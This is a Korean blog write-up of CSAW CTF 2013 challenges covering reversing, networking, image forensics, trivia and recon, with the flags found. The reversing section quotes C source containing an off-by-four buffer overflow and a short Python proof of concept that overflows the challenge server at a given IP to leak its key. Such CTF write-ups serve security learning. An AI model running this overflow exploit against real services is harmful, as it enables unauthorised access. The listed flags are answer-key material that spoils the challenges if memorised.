Hello, Stranger

CSAW Reversing 2013 1 - 100 Points

1. 프로그램을 실행하면 글씨가 깨져서 나오게 됩니다.

2. ollydbg로 보니까 IsDebuggerPresent가 있네요. 즉, 디버거가 켜져있으면 0x00fc101f로 점프를 하게 됩니다.

3. 실행하면 flag 등장!!

그냥 디버거만 붙이면 답이 나오는거라서 딱히 적을것도 없네요ㅜㅜ

 간단한 BOF문제였습니다. 문제로 source가 제공되는데 다음과 같습니다.

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}
 

[snip]

공격코드는 다음과 같습니다.

 <poc.py>

#!/usr/bin/python

from socket import *

host = "128.238.66.212"

port = 31337

s = socket()

data = "a"*1020

try:

s.connect((host, port))

print s.recv(1024)

s.send(data)

print s.recv(1024)

s.close()

except:

print "error"

Get the flag!!!!! :)

Networking 1 - 50 Points

Networking 2 - 50 Points

  와이어샤크로는 데이터가 보이지 않아 strings 명령어로 문자열을 뽑았는데, 분명 다른 풀이가 있을거 같아요..ㅎㅎ

Black & White - 100 Points

deeeeeeaaaaaadbeeeeeeeeeef - 200 Points

 위의 이미지 사이즈를 6528 x 3282로 변경하니 key가 등장합니다. 물론 마우스로 늘렸다 줄였다가 아니고 png 헤더를 손수 만져 주셔야 바뀝니다. (툴있으면 좀더 편리하겠구요 ㅋㅋ..있으면 공유점 ㅜ_ㅜ )

key{ TheISISPasswordIs }

<TRIVIA>

  #1. Drink all the booze, HACK all the things!

  #2. What is the abbreviation of the research published in the Hackin9 issue on nmap by Jon Oberheide, Nico Waisman, Matthieu Suiche, Chris Valasek, Yarochkin Fyodor, the Grugq, Jonathan Brossard, and Mark Dowd?  DICKS

  #3, What is the common name for a single grouping of instructions used in a Return Oriented Programming payload, typically ending in a return (ret) instruction?  GADGET

  #4. What is the new web technology that provides a web browser full-duplex communication to a web server over a single connection?  Websocket

  #5. What is the x86 processor operating mode for running 64-bit code? Long mode

<Recon>

Julian Cohen - 100 Points

  Julian Cohen의 닉네임이 HockeyInJune이라는 것을 검색을 통해 알수 있습니다. 그 후 검색 키워드는 "HockeyInJune wiki"라고 검색하시면 Julian Cohen이 제작한 Wikipedia 개인 페이지가 나옵니다.  해당 페이지에 들어가면 "Check out my new website: http://omnom.nom.co/" 라고 적혀 있는데 링크에 들어가도 사진 한장 덩그러니 있는것이 끝입니다.하지만  이 사이트의 IP주소(http://23.23.196.37/)를 찾은 후 접속을 한다면 아래와 같이 key가 나오게 됩니다. (아..지금은 운영자가 key를 지우고 사진만 남겨뒀네요..)

Jordan Wiens - 100 Points

CSAW High School Forensics | Previous Winners - CSAW HSF 2013

여기 들어가서 Kevin chung을 찾아보면 이름에 링크가 걸린 것을 볼 수 있습니다.

historypeats - 100 Points

github사이트에 들어가면 메인에 최근 포스팅한 정보가 그래프에 표시되어 있습니다. 이 부분을 클릭하시면 등록된 글들이 보이게 되는데..

글이 별로 없어서 하나씩 점검을 해보니 아래와 같이 key를 담고있는 게시판이 나왔습니다.

Key{whatDidtheF0xSay?}

Brandon Edwards - 100 Points

  위의 문제의 답이 GITHUB사이트에 있어서 이번에도 이름과 같이 GITHUB를 검색했습니다.

Ke {a959962111ea3fed179eb044d5b80407}

Odin - 100 Points

http://prosauce.org 제출자의 블로그입니다. 블로그 내에 Shmoocon2013 발표 동영상이 있습니다. 블로그에서 감상하지 마시고 youtube창을 띠운 후 All comments를 누르시면 댓글에 falg값이 나옵니다.

If you're playing CSAWCTF2013 and looking for a flag try: shmoonconrocksglhfwithcsaw